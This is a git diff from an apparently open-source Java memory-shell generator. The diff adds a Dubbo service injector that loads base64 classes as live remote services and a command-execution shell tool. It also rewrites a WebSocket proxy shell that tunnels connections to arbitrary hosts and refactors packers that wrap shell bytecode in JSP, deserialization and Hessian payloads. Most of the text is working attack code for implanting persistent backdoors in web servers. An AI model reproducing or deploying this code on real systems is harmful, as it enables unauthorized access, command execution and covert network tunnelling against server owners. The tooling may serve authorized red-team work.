decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
public String registerService() throws Throwable {
String normalizedPath = normalizePath(getUrlPattern());
if (normalizedPath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(normalizedPath)) {
return resolveServiceAddresses(normalizedPath);
}
if (isPathRegisteredInFramework(normalizedPath)) {
return resolveServiceAddresses(normalizedPath);
}
Class<?> interfaceClass = getShell(getHelperBase64String());
Class<?> implementationClass = getShell(getBase64String());
validateServiceTypes(interfaceClass, implementationClass);
Object serviceInstance = instantiate(implementationClass);
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
if (previous != null) {
return resolveServiceAddresses(normalizedPath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(normalizedPath);
} catch (RuntimeException e) {
dynamicServices.remove(normalizedPath, serviceConfig);
throw e;
}
}
@SuppressWarnings("all")
private boolean isPathRegisteredInFramework(String path) {
try {
for (Object service : getRegisteredServices()) {
try {
Method getPath = service.getClass().getMethod("getPath");
if (path.equals(getPath.invoke(service))) {
return true;
}
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
return false;
}
@SuppressWarnings("all")
private Collection<?> getRegisteredServices() {
try {
ConfigManager configManager = ApplicationModel.getConfigManager();
Method getServices = configManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(configManager);
} catch (Exception e) {
try {
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
Object model = defaultModel.invoke(null);
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
Object moduleModel = getDefaultModule.invoke(model);
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(moduleConfigManager);
} catch (Exception ex) {
return new ArrayList<>();
}
}
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
if (!interfaceClass.isInterface()) {
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
}
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
}
if (!interfaceClass.isAssignableFrom(implementationClass)) {
throw new IllegalArgumentException(implementationClass.getName()
+ " does not implement " + interfaceClass.getName());
}
}
private Object instantiate(Class<?> implementationClass) {
try {
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
}
}
@SuppressWarnings({"rawtypes", "unchecked"})
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
ConfigManager configManager = ApplicationModel.getConfigManager();
ServiceConfig serviceConfig = new ServiceConfig();
serviceConfig.setInterface(interfaceClass);
serviceConfig.setRef(serviceInstance);
serviceConfig.setPath(path);
serviceConfig.setVersion("1.0.0");
serviceConfig.setProxy("jdk");
serviceConfig.setApplication(configManager.getApplication().orElse(null));
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
serviceConfig.setProtocols(protocols);
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
if (registries.isEmpty()) {
registries = new ArrayList<>(configManager.getRegistries());
}
serviceConfig.setRegistries(registries);
return serviceConfig;
}
private String resolveServiceAddresses(String path) {
ConfigManager configManager = ApplicationModel.getConfigManager();
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
if (protocols.isEmpty()) {
return path;
}
String localHost = NetUtils.getLocalHost();
return protocols.stream()
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
.collect(Collectors.joining(", "));
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.DubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.DUBBO_SERVICE, DubboServiceInjector.class)
.build();
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}
@@ -0,0 +1,75 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class CommandDubboService {
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
String p = new String(bytes);
String param = getParam(p);
try {
InputStream inputStream = getInputStream(param);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return outputStream.toByteArray();
} catch (Exception e) {
return getErrorMessage(e).getBytes();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -4,12 +4,11 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import javax.websocket.CloseReason;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
@@ -21,89 +20,114 @@ public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<Byt
private Session session;
private long messageCount = 0;
private AsynchronousSocketChannel currentClient = null;
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
private final ByteBuffer buffer = ByteBuffer.allocate(32768);
public ProxyWebSocket() {
}
public void completed(Integer result, Session attachment) {
buffer.clear();
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.addMessageHandler(this);
}
private void readFromServer() {
if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
buffer.clear();
currentClient.read(buffer, session, this);
}
}
@Override
public void onMessage(ByteBuffer message) {
try {
if (buffer.hasRemaining() && result >= 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
if (attachment.isOpen()) {
attachment.getBasicRemote().sendBinary(response);
messageCount++;
process(message, session);
} catch (Exception e) {
closeQuietly();
}
}
private void process(ByteBuffer messageBuffer, Session channel) {
try {
if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
currentClient.write(messageBuffer).get();
} else if (messageCount == 1) {
byte[] bytes = new byte[messageBuffer.remaining()];
messageBuffer.get(bytes);
String values = new String(bytes);
String[] array = values.split(" ");
if (array.length < 2) return;
String[] addrArray = array[1].split(":");
currentClient = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = currentClient.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception e) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
closeQuietly();
return;
}
baos = new ByteArrayOutputStream();
readFromServer(attachment, currentClient);
} else {
if (result > 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
readFromServer(attachment, currentClient);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
readFromServer();
}
} catch (Exception e) {
closeQuietly();
}
}
@Override
public void completed(Integer result, Session attachment) {
if (result == -1) {
closeQuietly();
return;
}
try {
if (result > 0) {
buffer.flip();
if (attachment.isOpen()) {
attachment.getBasicRemote().sendBinary(buffer);
}
}
} catch (Exception ignored) {
readFromServer();
} catch (Exception e) {
closeQuietly();
}
}
@Override
public void failed(Throwable exc, Session attachment) {
exc.printStackTrace();
closeQuietly();
}
public void onMessage(ByteBuffer message) {
@Override
public void onClose(Session session, CloseReason closeReason) {
closeQuietly();
}
@Override
public void onError(Session session, Throwable thr) {
closeQuietly();
}
private void closeQuietly() {
try {
message.clear();
messageCount++;
process(message, session);
if (currentClient != null && currentClient.isOpen()) {
currentClient.close();
}
} catch (Exception ignored) {
}
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
session.addMessageHandler(this);
}
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
this.currentClient = client;
buffer.clear();
client.read(buffer, channel, this);
}
private void process(ByteBuffer messageBuffer, Session channel) {
try {
if (messageCount > 1) {
AsynchronousSocketChannel client = channelMap.get(channel.getId());
client.write(messageBuffer).get();
readFromServer(channel, client);
} else if (messageCount == 1) {
String values = new String(messageBuffer.array());
String[] array = values.split(" ");
String[] addrArray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception ignored) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
channelMap.put(channel.getId(), client);
readFromServer(channel, client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
if (session != null && session.isOpen()) {
session.close();
}
} catch (Exception ignored) {
}
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
public static String getSimpleName(String injectorClassName) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}
File diff suppressed because one or more lines are too long
+15 -15
View File
@@ -1,5 +1,5 @@
[versions]
asm = "9.9.1"
asm = "9.9.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
@@ -12,21 +12,21 @@ reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
byte-buddy = "1.18.4"
commons-io = "2.21.0"
commons-lang3 = "3.20.0"
commons-codec = "1.20.0"
logback = "1.5.24"
okhttp3 = "5.3.2"
fastjson2 = "2.0.60"
java-websocket = "1.6.0"
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.20.0"
mockito = "5.21.0"
hamcrest = "3.0"
junit-jupiter = "5.14.2"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0"
junit-platform = "1.14.2"
testcontainers = "2.0.3"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries]
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
@@ -68,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
lombok = { id = "io.freefair.lombok", version = "9.2.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
shadow = { id = "com.gradleup.shadow", version = "9.3.1"} # https://plugins.gradle.org/plugin/com.gradleup.shadow
@@ -129,7 +129,7 @@ public abstract class AbstractContainerTest {
}
@ParameterizedTest
@EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
@EnumSource(names = {"ClassLoaderJSP", "DefineClassJSP", "JSPX"})
void testJspPackers(Packers packer) {
ContainerTestConfig config = getConfig();
if (config.isEnableJspPackerTest()) {
@@ -400,14 +400,14 @@ public class ShellAssertion {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) {
case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
case JSP, ClassLoaderJSP, DefineClassJSP -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case JSPX, JSPXUnicode -> {
case JSPX -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jspx";
String shellUrl = url + "/" + filename;
+1 -1
View File
@@ -5,7 +5,7 @@ plugins {
}
group = "io.github.reajason"
description = "Java deserialize payload for MemShellParty"
description = "Java payload packer for MemShellParty"
version = rootProject.version
dependencies {
@@ -1,50 +0,0 @@
package com.reajason.javaweb.packer;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2025/1/26
*/
public interface AggregatePacker extends Packer {
/**
* 聚合打包当前所有分类下的 payload
*
* @param config 生成结果
* @return key - 打包名称value - 打包 payload
*/
default Map<String, String> packAll(ClassPackerConfig config) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
Enum::name,
packers -> {
try {
return packers.getInstance().pack(config);
} catch (Exception e) {
return e.getMessage();
}
},
(existing, replacement) -> existing,
LinkedHashMap::new
));
}
/**
* 将第一个 sub packer 作为默认输出
*
* @param config 生成的内存马信息
* @return payload
*/
@Override
default String pack(ClassPackerConfig config) {
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
if (packersWithParent.isEmpty()) {
return null;
}
return packersWithParent.get(0).getInstance().pack(config);
}
}
@@ -7,9 +7,10 @@ import lombok.Data;
* @since 2025/6/27
*/
@Data
public class ClassPackerConfig {
public class ClassPackerConfig<T> {
private String className;
private byte[] classBytes;
private String classBytesBase64Str;
private boolean byPassJavaModule;
private T customConfig;
}
@@ -9,7 +9,8 @@ import java.util.Map;
* @since 2025/6/27
*/
@Data
public class JarPackerConfig {
public class JarPackerConfig<T> {
private String mainClassName;
private transient Map<String, byte[]> classBytes;
private T customConfig;
}
@@ -1,10 +1,19 @@
package com.reajason.javaweb.packer;
import com.reajason.javaweb.packer.spec.PackerSchema;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.Map;
import java.util.Optional;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2024/11/26
*/
public interface Packer {
public interface Packer<T> {
TypeCache TYPE_CACHE = new TypeCache();
/**
* 将自定义类打包成特定 payload
@@ -12,7 +21,71 @@ public interface Packer {
* @param classPackerConfig 自定义类信息
* @return 字符串 payload
*/
default String pack(ClassPackerConfig classPackerConfig) {
default String pack(ClassPackerConfig<T> classPackerConfig) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
}
@SuppressWarnings("unchecked")
default Class<T> customConfigType() {
Optional<Class<?>> resolved = TYPE_CACHE.cache.computeIfAbsent(this.getClass(), TypeResolver::resolveCustomConfigType);
return (Class<T>) resolved.orElse(null);
}
default T resolveCustomConfig(Object rawCustomConfig) {
Class<T> clazz = customConfigType();
if (clazz == null) {
return null;
}
return PackerConfigConverter.convert(rawCustomConfig, clazz);
}
/**
* Packer config schema for UI rendering.
*/
default PackerSchema schema() {
return PackerSchema.empty();
}
final class TypeCache {
private final Map<Class<?>, Optional<Class<?>>> cache = new ConcurrentHashMap<>();
}
final class TypeResolver {
private TypeResolver() {
}
private static Optional<Class<?>> resolveCustomConfigType(Class<?> clazz) {
Class<?> current = clazz;
while (current != null && current != Object.class) {
Optional<Class<?>> fromInterfaces = resolveFromTypes(current.getGenericInterfaces());
if (fromInterfaces.isPresent()) {
return fromInterfaces;
}
current = current.getSuperclass();
}
return Optional.empty();
}
private static Optional<Class<?>> resolveFromTypes(Type[] types) {
for (Type type : types) {
if (!(type instanceof ParameterizedType)) {
continue;
}
ParameterizedType parameterizedType = (ParameterizedType) type;
if (!(parameterizedType.getRawType() instanceof Class)) {
continue;
}
Class<?> rawType = (Class<?>) parameterizedType.getRawType();
if (rawType != Packer.class) {
continue;
}
Type configType = parameterizedType.getActualTypeArguments()[0];
if (configType instanceof Class) {
return Optional.of((Class<?>) configType);
}
return Optional.empty();
}
return Optional.empty();
}
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.packer;
import com.fasterxml.jackson.databind.ObjectMapper;
/**
* Shared conversion helper for packer custom config.
*/
final class PackerConfigConverter {
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
private PackerConfigConverter() {
}
static <R> R convert(Object customConfig, Class<R> clazz) {
if (customConfig == null) {
return null;
}
if (clazz.isInstance(customConfig)) {
return clazz.cast(customConfig);
}
try {
return OBJECT_MAPPER.convertValue(customConfig, clazz);
} catch (IllegalArgumentException e) {
throw new IllegalArgumentException("invalid customConfig for " + clazz.getSimpleName() + ": " + e.getMessage(), e);
}
}
}
@@ -1,10 +1,8 @@
package com.reajason.javaweb.packer;
import com.reajason.javaweb.packer.spec.PackerSchema;
import com.reajason.javaweb.packer.aviator.AviatorPacker;
import com.reajason.javaweb.packer.base64.Base64Packer;
import com.reajason.javaweb.packer.base64.Base64URLEncoded;
import com.reajason.javaweb.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
@@ -52,7 +50,9 @@ import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import lombok.Getter;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@@ -67,20 +67,14 @@ public enum Packers {
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
ClassLoaderJSPUnicode(new ClassLoaderJspUnicodePacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
DefineClassJSPUnicode(new DefineClassJspUnicodePacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
JSPXUnicode(new JspxUnicodePacker(), JspPacker.class),
/**
* BigInteger
@@ -193,7 +187,48 @@ public enum Packers {
this.parentPacker = parentPacker;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
public static Packers fromName(String name) {
if (name == null) {
throw new IllegalArgumentException("packer name is required");
}
try {
return Packers.valueOf(name);
} catch (IllegalArgumentException e) {
throw new IllegalArgumentException("unknown packer: " + name);
}
}
public String getCategoryName() {
if (parentPacker == null) {
return name();
}
for (Packers packer : Packers.values()) {
if (packer.getParentPacker() == null && packer.getInstance().getClass().equals(parentPacker)) {
return packer.name();
}
}
return name();
}
public boolean hasChildren() {
return Stream.of(Packers.values()).anyMatch(p -> Objects.equals(p.getParentPacker(), this.getInstance().getClass()));
}
public String getOutputKind() {
return instance instanceof JarPacker ? "binary-base64" : "text";
}
public PackerSchema getSchema() {
PackerSchema schema = instance.schema();
return schema == null ? PackerSchema.empty() : schema;
}
public static Map<String, List<Packers>> groupedPackers() {
Map<String, List<Packers>> groupedPackers = new LinkedHashMap<>();
for (Packers packer : Packers.values()) {
String groupName = packer.getCategoryName();
groupedPackers.computeIfAbsent(groupName, k -> new java.util.ArrayList<>()).add(packer);
}
return groupedPackers;
}
}
@@ -3,9 +3,12 @@ package com.reajason.javaweb.packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.Objects;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
@@ -19,4 +22,13 @@ public class Util {
return IOUtils.toString(Objects.requireNonNull(stream), Charset.defaultCharset());
}
}
@SneakyThrows
public static byte[] gzipCompress(byte[] data) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerFieldType;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.Data;
@Data
public class Base64CustomPackerConfig {
private boolean urlEncoded;
private boolean gzipCompressed;
public static PackerSchema schema() {
PackerFieldSchema urlEncodedField = new PackerFieldSchema();
urlEncodedField.setKey("urlEncoded");
urlEncodedField.setType(PackerFieldType.BOOLEAN);
urlEncodedField.setRequired(false);
urlEncodedField.setDefaultValue(false);
urlEncodedField.setDescription("Enable URL encoding");
urlEncodedField.setDescriptionI18nKey("urlEncoded.desc");
PackerFieldSchema gzipCompressedField = new PackerFieldSchema();
gzipCompressedField.setKey("gzipCompressed");
gzipCompressedField.setType(PackerFieldType.BOOLEAN);
gzipCompressedField.setRequired(false);
gzipCompressedField.setDefaultValue(false);
gzipCompressedField.setDescription("Enable GZIP compression");
gzipCompressedField.setDescriptionI18nKey("gzipCompressed.desc");
PackerSchema schema = new PackerSchema();
schema.getFields().add(urlEncodedField);
schema.getFields().add(gzipCompressedField);
schema.getDefaultConfig().put("urlEncoded", false);
schema.getDefaultConfig().put("gzipCompressed", false);
return schema;
}
}
@@ -1,10 +1,42 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements AggregatePacker {
}
public class Base64Packer implements Packer<Base64CustomPackerConfig> {
@Override
@SneakyThrows
public String pack(ClassPackerConfig<Base64CustomPackerConfig> config) {
Base64CustomPackerConfig customConfig = config.getCustomConfig();
if (Objects.isNull(customConfig)) {
return config.getClassBytesBase64Str();
}
byte[] bytes = config.getClassBytes();
if (customConfig.isGzipCompressed()) {
bytes = Util.gzipCompress(bytes);
}
String base64 = Base64.encodeBase64String(bytes);
if (customConfig.isUrlEncoded()) {
return URLEncoder.encode(base64, StandardCharsets.UTF_8.name());
}
return base64;
}
@Override
public PackerSchema schema() {
return Base64CustomPackerConfig.schema();
}
}
@@ -1,21 +0,0 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2025/9/2
*/
public class Base64URLEncoded implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return URLEncoder.encode(config.getClassBytesBase64Str(), StandardCharsets.UTF_8.name());
}
}
@@ -1,15 +0,0 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class DefaultBase64Packer implements Packer {
@Override
public String pack(ClassPackerConfig config) {
return config.getClassBytesBase64Str();
}
}
@@ -1,30 +0,0 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/1/22
*/
public class GzipBase64Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2Packer implements AggregatePacker {
public class Hessian2Packer implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return Packers.Hessian2XSLTScriptEngine.getInstance().pack(classPackerConfig);
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianPacker implements AggregatePacker {
public class HessianPacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return Packers.HessianXSLTScriptEngine.getInstance().pack(classPackerConfig);
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaDeserializePacker implements AggregatePacker {
}
public class JavaDeserializePacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return Packers.JavaCommonsBeanutils19.getInstance().pack(classPackerConfig);
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.packer.groovy;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements AggregatePacker {
public class GroovyPacker implements Packer {
@Override
